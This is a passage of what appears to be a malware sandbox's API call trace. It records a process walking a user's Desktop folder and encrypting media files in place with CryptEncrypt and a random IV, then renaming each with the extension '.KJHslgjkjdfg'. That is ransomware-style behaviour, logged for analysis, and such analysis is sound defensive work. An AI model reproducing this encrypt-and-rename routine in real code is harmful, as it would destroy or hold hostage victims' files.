lpBuffer=0x4dff7b0*, lpNumberOfBytesWritten=0x4dff780*=0xf, lpOverlapped=0x0) returned 1 [0145.796] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff784 | out: phKey=0x4dff784*=0x2f12358) returned 1 [0145.796] CryptSetKeyParam (hKey=0x2f12358, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.796] GetProcessHeap () returned 0x2ef0000 [0145.796] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0145.796] CryptEncrypt (in: hKey=0x2f12358, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff768*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff768*=0x40) returned 1 [0145.796] CryptDestroyKey (hKey=0x2f12358) returned 1 [0145.796] WriteFile (in: hFile=0x128, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff780*=0x40, lpOverlapped=0x0) returned 1 [0145.796] WriteFile (in: hFile=0x128, lpBuffer=0x4dff788*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4dff788*, lpNumberOfBytesWritten=0x4dff780*=0x4, lpOverlapped=0x0) returned 1 [0145.797] WriteFile (in: hFile=0x128, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff780*=0x10, lpOverlapped=0x0) returned 1 [0145.797] WriteFile (in: hFile=0x128, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff780*=0x80, lpOverlapped=0x0) returned 1 [0145.797] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff7a8 | out: lpNewFilePointer=0x0) returned 1 [0145.797] WriteFile (in: hFile=0x128, lpBuffer=0x4dff798*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4dff798*, lpNumberOfBytesWritten=0x4dff780*=0x8, lpOverlapped=0x0) returned 1 [0145.797] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff784 | out: phKey=0x4dff784*=0x2f12358) returned 1 [0145.797] CryptSetKeyParam (hKey=0x2f12358, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.797] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.797] ReadFile (in: hFile=0x128, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8611, lpNumberOfBytesRead=0x4dff78c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff78c*=0x8611, lpOverlapped=0x0) returned 1 [0145.798] CryptEncrypt (in: hKey=0x2f12358, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff768*=0x8620, dwBufLen=0x8620 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff768*=0x8620) returned 1 [0145.799] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.799] WriteFile (in: hFile=0x128, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8620, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff780*=0x8620, lpOverlapped=0x0) returned 1 [0145.799] CryptDestroyKey (hKey=0x2f12358) returned 1 [0145.799] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x86f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.799] SetEndOfFile (hFile=0x128) returned 1 [0145.802] GetProcessHeap () returned 0x2ef0000 [0145.802] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0145.802] GetProcessHeap () returned 0x2ef0000 [0145.802] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0145.802] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\869RP-3.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\869rp-3.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\869RP-3.bmp.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\869rp-3.bmp.kjhslgjkjdfg")) returned 1 [0145.803] CloseHandle (hObject=0x128) returned 1 [0145.803] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89f0dbd0, ftCreationTime.dwHighDateTime=0x1d5d98c, ftLastAccessTime.dwLowDateTime=0x4c7338c0, ftLastAccessTime.dwHighDateTime=0x1d5db94, ftLastWriteTime.dwLowDateTime=0x4c7338c0, ftLastWriteTime.dwHighDateTime=0x1d5db94, nFileSizeHigh=0x0, nFileSizeLow=0x1647, dwReserved0=0x4dff858, dwReserved1=0x77c7b3f2, cFileName="A_DmCf0U6BAj6V9.wav", cAlternateFileName="A_DMCF~1.WAV")) returned 1 [0145.803] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\A_DmCf0U6BAj6V9.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\a_dmcf0u6baj6v9.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0145.804] GetProcessHeap () returned 0x2ef0000 [0145.804] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0145.804] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0145.804] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff7a0 | out: lpNewFilePointer=0x0) returned 1 [0145.804] WriteFile (in: hFile=0x128, lpBuffer=0x4dff7b0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4dff7b0*, lpNumberOfBytesWritten=0x4dff780*=0x9, lpOverlapped=0x0) returned 1 [0145.807] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff784 | out: phKey=0x4dff784*=0x2f12358) returned 1 [0145.807] CryptSetKeyParam (hKey=0x2f12358, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.807] GetProcessHeap () returned 0x2ef0000 [0145.807] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x50) returned 0x2f15340 [0145.807] CryptEncrypt (in: hKey=0x2f12358, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f15340*, pdwDataLen=0x4dff768*=0x50, dwBufLen=0x50 | out: pbData=0x2f15340*, pdwDataLen=0x4dff768*=0x50) returned 1 [0145.807] CryptDestroyKey (hKey=0x2f12358) returned 1 [0145.807] WriteFile (in: hFile=0x128, lpBuffer=0x2f15340*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f15340*, lpNumberOfBytesWritten=0x4dff780*=0x50, lpOverlapped=0x0) returned 1 [0145.807] WriteFile (in: hFile=0x128, lpBuffer=0x4dff788*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4dff788*, lpNumberOfBytesWritten=0x4dff780*=0x4, lpOverlapped=0x0) returned 1 [0145.808] WriteFile (in: hFile=0x128, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff780*=0x10, lpOverlapped=0x0) returned 1 [0145.808] WriteFile (in: hFile=0x128, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff780*=0x80, lpOverlapped=0x0) returned 1 [0145.808] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff7a8 | out: lpNewFilePointer=0x0) returned 1 [0145.808] WriteFile (in: hFile=0x128, lpBuffer=0x4dff798*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4dff798*, lpNumberOfBytesWritten=0x4dff780*=0x8, lpOverlapped=0x0) returned 1 [0145.808] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff784 | out: phKey=0x4dff784*=0x2f12358) returned 1 [0145.808] CryptSetKeyParam (hKey=0x2f12358, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.808] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.808] ReadFile (in: hFile=0x128, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1647, lpNumberOfBytesRead=0x4dff78c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff78c*=0x1647, lpOverlapped=0x0) returned 1 [0145.809] CryptEncrypt (in: hKey=0x2f12358, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff768*=0x1650, dwBufLen=0x1650 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff768*=0x1650) returned 1 [0145.809] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.809] WriteFile (in: hFile=0x128, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1650, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff780*=0x1650, lpOverlapped=0x0) returned 1 [0145.809] CryptDestroyKey (hKey=0x2f12358) returned 1 [0145.809] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x1734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.809] SetEndOfFile (hFile=0x128) returned 1 [0145.812] GetProcessHeap () returned 0x2ef0000 [0145.812] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f15340 | out: hHeap=0x2ef0000) returned 1 [0145.812] GetProcessHeap () returned 0x2ef0000 [0145.812] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0145.813] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\A_DmCf0U6BAj6V9.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\a_dmcf0u6baj6v9.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\A_DmCf0U6BAj6V9.wav.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\a_dmcf0u6baj6v9.wav.kjhslgjkjdfg")) returned 1 [0145.813] CloseHandle (hObject=0x128) returned 1 [0145.813] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c439f00, ftCreationTime.dwHighDateTime=0x1d5e1c2, ftLastAccessTime.dwLowDateTime=0x2f1fce0, ftLastAccessTime.dwHighDateTime=0x1d5d9e1, ftLastWriteTime.dwLowDateTime=0x2f1fce0, ftLastWriteTime.dwHighDateTime=0x1d5d9e1, nFileSizeHigh=0x0, nFileSizeLow=0x2a05, dwReserved0=0x4dff858, dwReserved1=0x77c7b3f2, cFileName="FzJCPpKkxHW-8ZH.jpg", cAlternateFileName="FZJCPP~1.JPG")) returned 1 [0145.813] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\FzJCPpKkxHW-8ZH.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\fzjcppkkxhw-8zh.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0145.814] GetProcessHeap () returned 0x2ef0000 [0145.814] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0145.814] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0145.814] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff7a0 | out: lpNewFilePointer=0x0) returned 1 [0145.815] WriteFile (in: hFile=0x128, lpBuffer=0x4dff7b0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4dff7b0*, lpNumberOfBytesWritten=0x4dff780*=0xb, lpOverlapped=0x0) returned 1 [0145.817] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff784 | out: phKey=0x4dff784*=0x2f12358) returned 1 [0145.817] CryptSetKeyParam (hKey=0x2f12358, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.817] GetProcessHeap () returned 0x2ef0000 [0145.817] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x50) returned 0x2f15340 [0145.817] CryptEncrypt (in: hKey=0x2f12358, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f15340*, pdwDataLen=0x4dff768*=0x50, dwBufLen=0x50 | out: pbData=0x2f15340*, pdwDataLen=0x4dff768*=0x50) returned 1 [0145.817] CryptDestroyKey (hKey=0x2f12358) returned 1 [0145.817] WriteFile (in: hFile=0x128, lpBuffer=0x2f15340*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f15340*, lpNumberOfBytesWritten=0x4dff780*=0x50, lpOverlapped=0x0) returned 1 [0145.817] WriteFile (in: hFile=0x128, lpBuffer=0x4dff788*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4dff788*, lpNumberOfBytesWritten=0x4dff780*=0x4, lpOverlapped=0x0) returned 1 [0145.817] WriteFile (in: hFile=0x128, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff780*=0x10, lpOverlapped=0x0) returned 1 [0145.817] WriteFile (in: hFile=0x128, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff780*=0x80, lpOverlapped=0x0) returned 1 [0145.817] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff7a8 | out: lpNewFilePointer=0x0) returned 1 [0145.817] WriteFile (in: hFile=0x128, lpBuffer=0x4dff798*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4dff798*, lpNumberOfBytesWritten=0x4dff780*=0x8, lpOverlapped=0x0) returned 1 [0145.817] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff784 | out: phKey=0x4dff784*=0x2f12358) returned 1 [0145.818] CryptSetKeyParam (hKey=0x2f12358, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.818] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.818] ReadFile (in: hFile=0x128, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2a05, lpNumberOfBytesRead=0x4dff78c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff78c*=0x2a05, lpOverlapped=0x0) returned 1 [0145.819] CryptEncrypt (in: hKey=0x2f12358, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff768*=0x2a10, dwBufLen=0x2a10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff768*=0x2a10) returned 1 [0145.819] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.819] WriteFile (in: hFile=0x128, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2a10, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff780*=0x2a10, lpOverlapped=0x0) returned 1 [0145.819] CryptDestroyKey (hKey=0x2f12358) returned 1 [0145.819] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x2af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.819] SetEndOfFile (hFile=0x128) returned 1 [0145.820] GetProcessHeap () returned 0x2ef0000 [0145.820] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f15340 | out: hHeap=0x2ef0000) returned 1 [0145.820] GetProcessHeap () returned 0x2ef0000 [0145.820] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0145.821] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\FzJCPpKkxHW-8ZH.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\fzjcppkkxhw-8zh.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\FzJCPpKkxHW-8ZH.jpg.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\fzjcppkkxhw-8zh.jpg.kjhslgjkjdfg")) returned 1 [0145.823] CloseHandle (hObject=0x128) returned 1 [0145.823] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67f42470, ftCreationTime.dwHighDateTime=0x1d5e7c3, ftLastAccessTime.dwLowDateTime=0xf98746c0, ftLastAccessTime.dwHighDateTime=0x1d5df8e, ftLastWriteTime.dwLowDateTime=0xf98746c0, ftLastWriteTime.dwHighDateTime=0x1d5df8e, nFileSizeHigh=0x0, nFileSizeLow=0x16eeb, dwReserved0=0x4dff858, dwReserved1=0x77c7b3f2, cFileName="ORRIF.mp4", cAlternateFileName="")) returned 1 [0145.823] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\ORRIF.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\orrif.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0145.824] GetProcessHeap () returned 0x2ef0000 [0145.824] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0145.824] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0145.824] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff7a0 | out: lpNewFilePointer=0x0) returned 1 [0145.824] WriteFile (in: hFile=0x128, lpBuffer=0x4dff7b0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4dff7b0*, lpNumberOfBytesWritten=0x4dff780*=0x5, lpOverlapped=0x0) returned 1 [0145.826] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff784 | out: phKey=0x4dff784*=0x2f12358) returned 1 [0145.826] CryptSetKeyParam (hKey=0x2f12358, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.826] GetProcessHeap () returned 0x2ef0000 [0145.826] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0145.826] CryptEncrypt (in: hKey=0x2f12358, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff768*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff768*=0x30) returned 1 [0145.826] CryptDestroyKey (hKey=0x2f12358) returned 1 [0145.826] WriteFile (in: hFile=0x128, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff780*=0x30, lpOverlapped=0x0) returned 1 [0145.826] WriteFile (in: hFile=0x128, lpBuffer=0x4dff788*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4dff788*, lpNumberOfBytesWritten=0x4dff780*=0x4, lpOverlapped=0x0) returned 1 [0145.826] WriteFile (in: hFile=0x128, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff780*=0x10, lpOverlapped=0x0) returned 1 [0145.826] WriteFile (in: hFile=0x128, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff780*=0x80, lpOverlapped=0x0) returned 1 [0145.827] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff7a8 | out: lpNewFilePointer=0x0) returned 1 [0145.827] WriteFile (in: hFile=0x128, lpBuffer=0x4dff798*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4dff798*, lpNumberOfBytesWritten=0x4dff780*=0x8, lpOverlapped=0x0) returned 1 [0145.827] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff784 | out: phKey=0x4dff784*=0x2f12358) returned 1 [0145.827] CryptSetKeyParam (hKey=0x2f12358, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.827] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.827] ReadFile (in: hFile=0x128, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x16eeb, lpNumberOfBytesRead=0x4dff78c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff78c*=0x16eeb, lpOverlapped=0x0) returned 1 [0145.828] CryptEncrypt (in: hKey=0x2f12358, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff768*=0x16ef0, dwBufLen=0x16ef0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff768*=0x16ef0) returned 1 [0145.829] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.829] WriteFile (in: hFile=0x128, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x16ef0, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff780*=0x16ef0, lpOverlapped=0x0) returned 1 [0145.830] CryptDestroyKey (hKey=0x2f12358) returned 1 [0145.830] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x16fb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.830] SetEndOfFile (hFile=0x128) returned 1 [0145.833] GetProcessHeap () returned 0x2ef0000 [0145.833] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0145.833] GetProcessHeap () returned 0x2ef0000 [0145.833] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0145.833] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\ORRIF.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\orrif.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\ORRIF.mp4.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\orrif.mp4.kjhslgjkjdfg")) returned 1 [0145.834] CloseHandle (hObject=0x128) returned 1 [0145.834] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73040dd0, ftCreationTime.dwHighDateTime=0x1d5dabc, ftLastAccessTime.dwLowDateTime=0xb5352a30, ftLastAccessTime.dwHighDateTime=0x1d5db4e, ftLastWriteTime.dwLowDateTime=0xb5352a30, ftLastWriteTime.dwHighDateTime=0x1d5db4e, nFileSizeHigh=0x0, nFileSizeLow=0xab39, dwReserved0=0x4dff858, dwReserved1=0x77c7b3f2, cFileName="Rgif5jt_-aWx.m4a", cAlternateFileName="RGIF5J~1.M4A")) returned 1 [0145.834] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\Rgif5jt_-aWx.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\rgif5jt_-awx.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, 